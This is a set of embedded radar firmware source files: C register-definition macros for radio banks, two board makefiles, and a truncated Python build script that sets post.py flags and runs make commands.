#define RADIO_BK10_LD_CMM_CRTL_0_LD_RSTN_CMM_MASK 0x1
#define RADIO_BK10_LD_CMM_CRTL_0_LD_MODE_SEL_CMM_SHIFT 1
#define RADIO_BK10_LD_CMM_CRTL_0_LD_MODE_SEL_CMM_MASK 0x1
#define RADIO_BK10_LD_CMM_CRTL_0_LD_SPARE_CMM_SHIFT 2
#define RADIO_BK10_LD_CMM_CRTL_0_LD_SPARE_CMM_MASK 0x1
#define RADIO_BK10_LD_CMM_CRTL_0_LD_CNT_PWR_CMM_SHIFT 3
#define RADIO_BK10_LD_CMM_CRTL_0_LD_CNT_PWR_CMM_MASK 0xf
#define RADIO_BK10_LD_CMM_OUT_0 0x60
#define RADIO_BK10_LD_CMM_OUT_0_SHIFT 0
#define RADIO_BK10_LD_CMM_OUT_0_MASK 0x1
#define RADIO_BK10_LD_CMM_OUT_1 0x61
#define RADIO_BK10_LD_CMM_OUT_1_SHIFT 0
#define RADIO_BK10_LD_CMM_OUT_1_MASK 0xff
#define RADIO_BK10_LD_CMM_OUT_2 0x62
#define RADIO_BK10_LD_CMM_OUT_2_SHIFT 0
#define RADIO_BK10_LD_CMM_OUT_2_MASK 0xff
#define RADIO_BK10_LD_CMM_SIZE_0 0x63
#define RADIO_BK10_LD_CMM_SIZE_0_SHIFT 0
#define RADIO_BK10_LD_CMM_SIZE_0_MASK 0xff
#define RADIO_BK10_LD_CMM_SIZE_1 0x64
#define RADIO_BK10_LD_CMM_SIZE_1_SHIFT 0
#define RADIO_BK10_LD_CMM_SIZE_1_MASK 0xff
#define RADIO_BK10_LD_CMM_SIZE_2 0x65
#define RADIO_BK10_LD_CMM_SIZE_2_SHIFT 0
#define RADIO_BK10_LD_CMM_SIZE_2_MASK 0xff
#define RADIO_BK10_LD_CMM_SIZE_3 0x66
#define RADIO_BK10_LD_CMM_SIZE_3_SHIFT 0
#define RADIO_BK10_LD_CMM_SIZE_3_MASK 0xff
#define RADIO_BK10_LD_CMM_NUM_0 0x67
#define RADIO_BK10_LD_CMM_NUM_0_SHIFT 0
#define RADIO_BK10_LD_CMM_NUM_0_MASK 0xff
#define RADIO_BK10_LD_CMM_NUM_1 0x68
#define RADIO_BK10_LD_CMM_NUM_1_SHIFT 0
#define RADIO_BK10_LD_CMM_NUM_1_MASK 0xff
#define RADIO_BK10_LD_CMM_EN 0x69
#define RADIO_BK10_LD_CMM_EN_CMM_EN_SHIFT 0
#define RADIO_BK10_LD_CMM_EN_CMM_EN_MASK 0x1
#define RADIO_BK10_LD_CMM_EN_CMM_TH_SHIFT 1
#define RADIO_BK10_LD_CMM_EN_CMM_TH_MASK 0x3
#define RADIO_BK10_ITF_IRQ_CTRL_0 0x6a
#define RADIO_BK10_ITF_IRQ_CTRL_0_ITF_CMM_CLEAR_SHIFT 0
#define RADIO_BK10_ITF_IRQ_CTRL_0_ITF_CMM_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_0_ITF_CMM_TEST_START_SHIFT 1
#define RADIO_BK10_ITF_IRQ_CTRL_0_ITF_CMM_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_0_CMM_IRQ_RSTN_SHIFT 2
#define RADIO_BK10_ITF_IRQ_CTRL_0_CMM_IRQ_RSTN_MASK 0x1
#define RADIO_BK10_ITF_IRQ_0 0x6b
#define RADIO_BK10_ITF_IRQ_0_SHIFT 0
#define RADIO_BK10_ITF_IRQ_0_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_1 0x6c
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_LDO_CLEAR_SHIFT 0
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_LDO_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_LDO_TEST_START_SHIFT 1
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_LDO_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_CBC33_CLEAR_SHIFT 2
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_CBC33_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_CBC33_TEST_START_SHIFT 3
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_CBC33_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_DVDD11_CLEAR_SHIFT 4
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_DVDD11_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_DVDD11_TEST_START_SHIFT 5
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_SUPPLY_DVDD11_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_VBG_CLEAR_SHIFT 6
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_VBG_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_VBG_TEST_START_SHIFT 7
#define RADIO_BK10_ITF_IRQ_CTRL_1_ITF_VBG_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_1 0x6d
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_LDO_SHIFT 0
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_LDO_MASK 0x1
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_LDO_SPARE_SHIFT 1
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_LDO_SPARE_MASK 0x1
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_CBC33_SHIFT 2
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_CBC33_MASK 0x1
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_CBC33_SPARE_SHIFT 3
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_CBC33_SPARE_MASK 0x1
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_DVDD11_SHIFT 4
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_DVDD11_MASK 0x1
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_DVDD11_SPARE_SHIFT 5
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_SUPPLY_DVDD11_SPARE_MASK 0x1
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_VBG_SHIFT 6
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_VBG_MASK 0x1
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_VBG_SPARE_SHIFT 7
#define RADIO_BK10_ITF_IRQ_1_ITF_IRQ_VBG_SPARE_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_2 0x6e
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_PLL_CLEAR_SHIFT 0
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_PLL_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_PLL_TEST_START_SHIFT 1
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_PLL_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_RFPOWER_CLEAR_SHIFT 2
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_RFPOWER_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_RFPOWER_TEST_START_SHIFT 3
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_RFPOWER_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_TX_BALL_CLEAR_SHIFT 4
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_TX_BALL_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_TX_BALL_TEST_START_SHIFT 5
#define RADIO_BK10_ITF_IRQ_CTRL_2_ITF_TX_BALL_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_2 0x6f
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_PLL_SHIFT 0
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_PLL_MASK 0x1
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_PLL_SPARE_SHIFT 1
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_PLL_SPARE_MASK 0x1
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_RFPOWER_SHIFT 2
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_RFPOWER_MASK 0x1
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_RFPOWER_SPARE_SHIFT 3
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_RFPOWER_SPARE_MASK 0x1
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_TX_BALL_SHIFT 4
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_TX_BALL_MASK 0x1
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_TX_BALL_SPARE_SHIFT 5
#define RADIO_BK10_ITF_IRQ_2_ITF_IRQ_TX_BALL_SPARE_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_3 0x70
#define RADIO_BK10_ITF_IRQ_CTRL_3_ITF_FMCW_CLEAR_SHIFT 0
#define RADIO_BK10_ITF_IRQ_CTRL_3_ITF_FMCW_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_3_ITF_FMCW_TEST_START_SHIFT 1
#define RADIO_BK10_ITF_IRQ_CTRL_3_ITF_FMCW_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_3_IRQ_RSTN_SHIFT 2
#define RADIO_BK10_ITF_IRQ_CTRL_3_IRQ_RSTN_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_3_LOCK_STEP_EN_SHIFT 3
#define RADIO_BK10_ITF_IRQ_CTRL_3_LOCK_STEP_EN_MASK 0x1
#define RADIO_BK10_ITF_IRQ_3 0x71
#define RADIO_BK10_ITF_IRQ_3_SHIFT 0
#define RADIO_BK10_ITF_IRQ_3_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_4 0x72
#define RADIO_BK10_ITF_IRQ_CTRL_4_ITF_FM_CLEAR_SHIFT 0
#define RADIO_BK10_ITF_IRQ_CTRL_4_ITF_FM_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_4_ITF_FM_TEST_START_SHIFT 1
#define RADIO_BK10_ITF_IRQ_CTRL_4_ITF_FM_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_4_FM_IRQ_RSTN_SHIFT 2
#define RADIO_BK10_ITF_IRQ_CTRL_4_FM_IRQ_RSTN_MASK 0x1
#define RADIO_BK10_ITF_IRQ_4 0x73
#define RADIO_BK10_ITF_IRQ_4_SHIFT 0
#define RADIO_BK10_ITF_IRQ_4_MASK 0x1
#define RADIO_BK10_FM_CTRL_0 0x74
#define RADIO_BK10_FM_CTRL_0_FM_RSTN_SHIFT 0
#define RADIO_BK10_FM_CTRL_0_FM_RSTN_MASK 0x1
#define RADIO_BK10_FM_CTRL_0_FM_TEST_EN_SHIFT 1
#define RADIO_BK10_FM_CTRL_0_FM_TEST_EN_MASK 0x1
#define RADIO_BK10_FM_CTRL_0_FM_LVDS_EN_SHIFT 2
#define RADIO_BK10_FM_CTRL_0_FM_LVDS_EN_MASK 0x1
#define RADIO_BK10_FM_CTRL_0_FM_REVERSE_BITS_EN_SHIFT 3
#define RADIO_BK10_FM_CTRL_0_FM_REVERSE_BITS_EN_MASK 0x1
#define RADIO_BK10_FM_CTRL_1 0x75
#define RADIO_BK10_FM_CTRL_1_FM_DIFFERS_CNTSIZE_SHIFT 0
#define RADIO_BK10_FM_CTRL_1_FM_DIFFERS_CNTSIZE_MASK 0x1f
#define RADIO_BK10_FM_CTRL_1_FM_DIFFERS_TH_SHIFT 5
#define RADIO_BK10_FM_CTRL_1_FM_DIFFERS_TH_MASK 0x7
#define RADIO_BK10_FM_OUT 0x76
#define RADIO_BK10_FM_OUT_FM_PREDICT_O_SHIFT 0
#define RADIO_BK10_FM_OUT_FM_PREDICT_O_MASK 0xf
#define RADIO_BK10_FM_OUT_FM_DIFFERS_O_SHIFT 4
#define RADIO_BK10_FM_OUT_FM_DIFFERS_O_MASK 0x1
#define RADIO_BK10_FM_OUT_FM_PREDICT_VALID_O_SHIFT 5
#define RADIO_BK10_FM_OUT_FM_PREDICT_VALID_O_MASK 0x1
#define RADIO_BK10_TEMP_MONITOR_VTH_HIGH_0 0x77
#define RADIO_BK10_TEMP_MONITOR_VTH_HIGH_0_SHIFT 0
#define RADIO_BK10_TEMP_MONITOR_VTH_HIGH_0_MASK 0xff
#define RADIO_BK10_TEMP_MONITOR_VTH_HIGH_1 0x78
#define RADIO_BK10_TEMP_MONITOR_VTH_HIGH_1_SHIFT 0
#define RADIO_BK10_TEMP_MONITOR_VTH_HIGH_1_MASK 0xff
#define RADIO_BK10_TEMP_MONITOR_VTH_HIGH_2 0x79
#define RADIO_BK10_TEMP_MONITOR_VTH_HIGH_2_SHIFT 0
#define RADIO_BK10_TEMP_MONITOR_VTH_HIGH_2_MASK 0x3
#define RADIO_BK10_ITF_IRQ_CTRL_5 0x7a
#define RADIO_BK10_ITF_IRQ_CTRL_5_ITF_TEMP_CLEAR_SHIFT 0
#define RADIO_BK10_ITF_IRQ_CTRL_5_ITF_TEMP_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_5_ITF_TEMP_TEST_START_SHIFT 1
#define RADIO_BK10_ITF_IRQ_CTRL_5_ITF_TEMP_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_5_TEMP_IRQ_RSTN_SHIFT 2
#define RADIO_BK10_ITF_IRQ_CTRL_5_TEMP_IRQ_RSTN_MASK 0x1
#define RADIO_BK10_ITF_IRQ_5 0x7b
#define RADIO_BK10_ITF_IRQ_5_SHIFT 0
#define RADIO_BK10_ITF_IRQ_5_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_6 0x7c
#define RADIO_BK10_ITF_IRQ_CTRL_6_ITF_CMM_MSTR_SLV_CLEAR_SHIFT 0
#define RADIO_BK10_ITF_IRQ_CTRL_6_ITF_CMM_MSTR_SLV_CLEAR_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_6_ITF_CMM_MSTR_SLV_TEST_START_SHIFT 1
#define RADIO_BK10_ITF_IRQ_CTRL_6_ITF_CMM_MSTR_SLV_TEST_START_MASK 0x1
#define RADIO_BK10_ITF_IRQ_CTRL_6_CMM_MSTR_SLV_IRQ_RSTN_SHIFT 2
#define RADIO_BK10_ITF_IRQ_CTRL_6_CMM_MSTR_SLV_IRQ_RSTN_MASK 0x1
#define RADIO_BK10_ITF_IRQ_6 0x7d
#define RADIO_BK10_ITF_IRQ_6_SHIFT 0
#define RADIO_BK10_ITF_IRQ_6_MASK 0x1
#define RADIO_BK11_FMCW_START_TIME_SH_0 0x1
#define RADIO_BK11_FMCW_START_TIME_SH_0_SHIFT 0
#define RADIO_BK11_FMCW_START_TIME_SH_0_MASK 0xff
#define RADIO_BK11_FMCW_START_TIME_SH_1 0x2
#define RADIO_BK11_FMCW_START_TIME_SH_1_SHIFT 0
#define RADIO_BK11_FMCW_START_TIME_SH_1_MASK 0xff
#define RADIO_BK11_FMCW_START_TIME_SH_2 0x3
#define RADIO_BK11_FMCW_START_TIME_SH_2_SHIFT 0
#define RADIO_BK11_FMCW_START_TIME_SH_2_MASK 0xff
#define RADIO_BK11_FMCW_START_TIME_SH_3 0x4
#define RADIO_BK11_FMCW_START_TIME_SH_3_SHIFT 0
#define RADIO_BK11_FMCW_START_TIME_SH_3_MASK 0xff
#define RADIO_BK11_FMCW_START_FREQ_SH_0 0x5
#define RADIO_BK11_FMCW_START_FREQ_SH_0_SHIFT 0
#define RADIO_BK11_FMCW_START_FREQ_SH_0_MASK 0xff
#define RADIO_BK11_FMCW_START_FREQ_SH_1 0x6
#define RADIO_BK11_FMCW_START_FREQ_SH_1_SHIFT 0
#define RADIO_BK11_FMCW_START_FREQ_SH_1_MASK 0xff
#define RADIO_BK11_FMCW_START_FREQ_SH_2 0x7
#define RADIO_BK11_FMCW_START_FREQ_SH_2_SHIFT 0
#define RADIO_BK11_FMCW_START_FREQ_SH_2_MASK 0xff
#define RADIO_BK11_FMCW_START_FREQ_SH_3 0x8
#define RADIO_BK11_FMCW_START_FREQ_SH_3_SHIFT 0
#define RADIO_BK11_FMCW_START_FREQ_SH_3_MASK 0xff
#define RADIO_BK11_FMCW_STOP_FREQ_SH_0 0x9
#define RADIO_BK11_FMCW_STOP_FREQ_SH_0_SHIFT 0
#define RADIO_BK11_FMCW_STOP_FREQ_SH_0_MASK 0xff
#define RADIO_BK11_FMCW_STOP_FREQ_SH_1 0xa
#define RADIO_BK11_FMCW_STOP_FREQ_SH_1_SHIFT 0
#define RADIO_BK11_FMCW_STOP_FREQ_SH_1_MASK 0xff
#define RADIO_BK11_FMCW_STOP_FREQ_SH_2 0xb
#define RADIO_BK11_FMCW_STOP_FREQ_SH_2_SHIFT 0
#define RADIO_BK11_FMCW_STOP_FREQ_SH_2_MASK 0xff
#define RADIO_BK11_FMCW_STOP_FREQ_SH_3 0xc
#define RADIO_BK11_FMCW_STOP_FREQ_SH_3_SHIFT 0
#define RADIO_BK11_FMCW_STOP_FREQ_SH_3_MASK 0xff
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_0 0xd
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_0_SHIFT 0
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_0_MASK 0xff
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_1 0xe
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_1_SHIFT 0
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_1_MASK 0xff
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_2 0xf
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_2_SHIFT 0
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_2_MASK 0xff
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_3 0x10
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_3_SHIFT 0
#define RADIO_BK11_FMCW_STEP_UP_FREQ_SH_3_MASK 0xf
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_0 0x11
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_0_SHIFT 0
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_0_MASK 0xff
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_1 0x12
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_1_SHIFT 0
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_1_MASK 0xff
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_2 0x13
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_2_SHIFT 0
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_2_MASK 0xff
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_3 0x14
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_3_SHIFT 0
#define RADIO_BK11_FMCW_STEP_DN_FREQ_SH_3_MASK 0xf
#define RADIO_BK11_FMCW_IDLE_SH_0 0x15
#define RADIO_BK11_FMCW_IDLE_SH_0_SHIFT 0
#define RADIO_BK11_FMCW_IDLE_SH_0_MASK 0xff
#define RADIO_BK11_FMCW_IDLE_SH_1 0x16
#define RADIO_BK11_FMCW_IDLE_SH_1_SHIFT 0
#define RADIO_BK11_FMCW_IDLE_SH_1_MASK 0xff
#define RADIO_BK11_FMCW_IDLE_SH_2 0x17
#define RADIO_BK11_FMCW_IDLE_SH_2_SHIFT 0
#define RADIO_BK11_FMCW_IDLE_SH_2_MASK 0xff
#define RADIO_BK11_FMCW_IDLE_SH_3 0x18
#define RADIO_BK11_FMCW_IDLE_SH_3_SHIFT 0
#define RADIO_BK11_FMCW_IDLE_SH_3_MASK 0xff
#define RADIO_BK11_FMCW_CHIRP_SIZE_SH_0 0x19
#define RADIO_BK11_FMCW_CHIRP_SIZE_SH_0_SHIFT 0
#define RADIO_BK11_FMCW_CHIRP_SIZE_SH_0_MASK 0xff
#define RADIO_BK11_FMCW_CHIRP_SIZE_SH_1 0x1a
#define RADIO_BK11_FMCW_CHIRP_SIZE_SH_1_SHIFT 0
#define RADIO_BK11_FMCW_CHIRP_SIZE_SH_1_MASK 0xff
#define RADIO_BK11_CLK_GATING_0 0x1b
#define RADIO_BK11_CLK_GATING_0_CLK3_2P5MHZ_EN_SHIFT 0
#define RADIO_BK11_CLK_GATING_0_CLK3_2P5MHZ_EN_MASK 0x1
#define RADIO_BK11_CLK_GATING_0_DIV_LOCK_OUT_50M_EN_SHIFT 1
#define RADIO_BK11_CLK_GATING_0_DIV_LOCK_OUT_50M_EN_MASK 0x1
#define RADIO_BK11_CLK_GATING_0_REF_LOCK_OUT_50M_EN_SHIFT 2
#define RADIO_BK11_CLK_GATING_0_REF_LOCK_OUT_50M_EN_MASK 0x1
#define RADIO_BK11_CLK_GATING_0_DIV_LOCK_OUT_400M_EN_SHIFT 3
#define RADIO_BK11_CLK_GATING_0_DIV_LOCK_OUT_400M_EN_MASK 0x1
#define RADIO_BK11_CLK_GATING_0_REF_LOCK_OUT_400M_EN_SHIFT 4
#define RADIO_BK11_CLK_GATING_0_REF_LOCK_OUT_400M_EN_MASK 0x1
#define RADIO_BK11_CLK_GATING_0_FLTR_CLK_800M_EN_SHIFT 5
#define RADIO_BK11_CLK_GATING_0_FLTR_CLK_800M_EN_MASK 0x1
#define RADIO_BK11_CLK_GATING_1 0x1c
#define RADIO_BK11_CLK_GATING_1_AUX_SDM_CLK_EN_SHIFT 0
#define RADIO_BK11_CLK_GATING_1_AUX_SDM_CLK_EN_MASK 0x1
#define RADIO_BK11_CLK_GATING_1_AUX_SDM_CLK2_EN_SHIFT 1
#define RADIO_BK11_CLK_GATING_1_AUX_SDM_CLK2_EN_MASK 0x1
#define RADIO_BK11_CLK_GATING_1_CM_CLK_100M_EN_SHIFT 2
#define RADIO_BK11_CLK_GATING_1_CM_CLK_100M_EN_MASK 0x1
#define RADIO_BK11_CLK_GATING_1_ITF_CLK_400M_I_EN_SHIFT 3
#define RADIO_BK11_CLK_GATING_1_ITF_CLK_400M_I_EN_MASK 0x1
#define RADIO_BK11_CLK_GATING_2 0x1d
#define RADIO_BK11_CLK_GATING_2_SHIFT 0
#define RADIO_BK11_CLK_GATING_2_MASK 0x1
#define RADIO_BK11_CLK_GATING_3 0x1e
#define RADIO_BK11_CLK_GATING_3_SHIFT 0
#define RADIO_BK11_CLK_GATING_3_MASK 0x1
#define BNK_NUM 12
#define BNK_SIZE 128
#endif
<file_sep>##
# \defgroup MK_BOARD Board Makefile Configurations
# \brief makefile related to board configurations
##
# boards root declaration
BOARDS_ROOT = $(EMBARC_ROOT)/board
SUPPORTED_BOARDS = $(basename $(notdir $(wildcard $(BOARDS_ROOT)/*/*.mk)))
BOARD ?= ref_design
USE_BOARD_MAIN ?= 1
USE_BOARD_LINK ?= 1
override BOARD := $(strip $(BOARD))
override USE_BOARD_MAIN := $(strip $(USE_BOARD_MAIN))
override USE_BOARD_LINK := $(strip $(USE_BOARD_LINK))
## Set Valid Board
VALID_BOARD = $(call check_item_exist, $(BOARD), $(SUPPORTED_BOARDS))
## Try Check BOARD is valid
ifeq ($(VALID_BOARD), )
$(info BOARD - $(SUPPORTED_BOARDS) are supported)
$(error BOARD $(BOARD) is not supported, please check it!)
endif
ifeq ($(USE_BOARD_MAIN), 1)
BOARD_CSRCDIR += $(BOARDS_ROOT)
BOARD_ASMSRCDIR += $(BOARDS_ROOT)
BOARD_INCDIR += $(BOARDS_ROOT)
else
BOARD_CSRCDIR += $(BOARDS_ROOT)/$(BOARD)
BOARD_ASMSRCDIR += $(BOARDS_ROOT)/$(BOARD)
BOARD_INCDIR += $(BOARDS_ROOT)/$(BOARD)
endif
EXTRA_BOARD_DEFINES += $(BOARD_MAIN_DEFINES) $(CHIP_DEFINES)
ifeq ($(USE_BOARD_LINK), 1)
LINKER_DIR = $(BOARDS_ROOT)
else
LINKER_DIR = $(BOARDS_ROOT)/$(BOARD)
endif
include $(BOARDS_ROOT)/$(BOARD)/$(BOARD).mk
ifeq ($(VALID_TOOLCHAIN), mw)
LINKER_SCRIPT_FILE ?= $(LINKER_DIR)/linker_template_mw.ld
else
LINKER_SCRIPT_FILE ?= $(LINKER_DIR)/linker_template_gnu.ld
endif
##
# \brief add defines for board
##
BOARD_DEFINES += $(EXTRA_BOARD_DEFINES) -DHW_VERSION=$(BD_VER) -DBOARD_$(call uc,$(BOARD))
ifneq ($(CPU_FREQ), )
BOARD_DEFINES += -DBOARD_CPU_FREQ=$(CPU_FREQ)
endif
ifneq ($(DEV_FREQ), )
BOARD_DEFINES += -DBOARD_DEV_FREQ=$(DEV_FREQ)
endif
# extra directories need to be compiled
ifeq ($(USE_BOARD_MAIN), 1)
EXTRA_CSRCDIR += $(BOARDS_ROOT)
else
EXTRA_CSRCDIR += $(BOARDS_ROOT)/$(BOARD)
endif
<file_sep>
# boards root declaration
BOARDS_ROOT = $(EMBARC_ROOT)/board
SUPPORTED_BOARDS = $(basename $(notdir $(wildcard $(BOARDS_ROOT)/*/*.mk)))
BOARD ?= ref_design
override BOARD := $(strip $(BOARD))
## Set Valid Board
VALID_BOARD = $(call check_item_exist, $(BOARD), $(SUPPORTED_BOARDS))
## Try Check BOARD is valid
ifeq ($(VALID_BOARD), )
$(info BOARD - $(SUPPORTED_BOARDS) are supported)
$(error BOARD $(BOARD) is not supported, please check it!)
endif
BOARD_DEFINES += -DHW_VERSION=$(BD_VER) -DBOARD_$(call uc,$(BOARD))
ifneq ($(COMMON_STACK_INIT),)
BOARD_DEFINES += -DCOMMON_STACK_INIT
endif
BOARD_DEFINES += -DSYSTEM_${SYSTEM_BOOT_STAGE}_STAGES_BOOT
BOARD_CSRCS ?=
BOARD_COBJS ?=
BOARD_INC_DIR ?=
include ./board/$(BOARD)/$(BOARD).mk
OPENOCD_CFG_FILE = $(OPENOCD_SCRIPT_ROOT)/board/$(CHIP).cfg
#OPENOCD_CFG_FILE = $(OPENOCD_SCRIPT_ROOT)/board/snps_em_sk_v2.2.cfg
$(info $(OPENOCD_CFG_FILE))
BOOT_INCDIRS += $(BOARD_INC_DIR)
BSP_OUT_DIR = $(OUT_DIR)/board/$(BOARD)
BOARD_OBJS = $(BOARD_COBJS)
<file_sep>import os,argparse,sys,subprocess
def set_aes(src_dir, aes_flag):
tar_file = src_dir + "\\post.py"
datafile = open(tar_file,"r")
lines = datafile.readlines()
lines[10] = "security_flag = %s\n" % str(aes_flag)
datafile = open(tar_file, "w")
datafile.writelines(lines)
datafile.close()
def set_boot_stage(src_dir, stage):
tar_file = src_dir + "\\post.py"
datafile = open(tar_file,"r")
lines = datafile.readlines()
lines[11] = "system_boot_stage = %s\n" % str(stage)
datafile = open(tar_file, "w")
datafile.writelines(lines)
datafile.close()
def set_boot_split(src_dir, split_flag):
tar_file = src_dir + "\\post.py"
datafile = open(tar_file,"r")
lines = datafile.readlines()
lines[12] = "boot_split = %s\n" % str(split_flag)
datafile = open(tar_file, "w")
datafile.writelines(lines)
datafile.close()
def cmd_subprocess(src_dir, cmd):
process = subprocess.Popen(cmd, cwd=src_dir, shell=True)
return process
def main(args):
fw_cwd = os.getcwd()
bt_cwd = fw_cwd + "\\calterah\\baremetal\\"
if args.toolchain.lower() == "mw":
# Toolchain: mw
if args.cascade.lower() == "true":
# Cascade
bt_cmd = "make clean TOOLCHAIN=mw && make bin TOOLCHAIN=mw "
fw_cmd = "make clean TOOLCHAIN=mw BOARD=ref_cascade && make bin TOOLCHAIN=mw BOARD=ref_cascade "
gen_header_fw_cmd = "python post.py obj_alpsMP_ref_cascade_v1_sensor/mw_arcem6/sensor_mw_arcem6.bin firmware.bin "
gen_header_bt_cmd = "python post.py calterah/baremetal/obj_alpsMP_ref_design_v1_boot/mw_arcem6/boot_mw_arcem6.bin boot.bin ram boot"
log = "board = ref_cascade\r\ntoolchain = mw\r\n"
else:
# Non-cascade
bt_cmd = "make clean TOOLCHAIN=mw && make bin TOOLCHAIN=mw "
fw_cmd = "make clean TOOLCHAIN=mw && make bin TOOLCHAIN=mw "
gen_header_fw_cmd = "python post.py obj_alpsMP_ref_design_v1_sensor/mw_arcem6/sensor_mw_arcem6.bin firmware.bin "
gen_header_bt_cmd = "python post.py calterah/baremetal/obj_alpsMP_ref_design_v1_boot/mw_arcem6/boot_mw_arcem6.bin boot.bin ram boot"
log = "board = ref_design\r\ntoolchain = mw\r\n"
else:
# Toolchain: gnu
if args.cascade.lower() == "true":
# Cascade
bt_cmd = "make clean && make bin "
fw_cmd = "make clean BOARD=ref_cascade && make bin BOARD=ref_cascade "
gen_header_fw_cmd = "python post.py obj_alpsMP_ref_cascade_v1_sensor/gnu_arcem6/sensor_gnu_arcem6.bin firmware.bin "
gen_header_bt_cmd = "python post.py calterah/baremetal/obj_alpsMP_ref_design_v1_boot/gnu_arcem6/boot_gnu_arcem6.bin boot.bin ram boot"
log = "board = ref_cascade\r\ntoolchain = gnu\r\n"
else:
# Non-cascade
bt_cmd = "make clean && make bin "
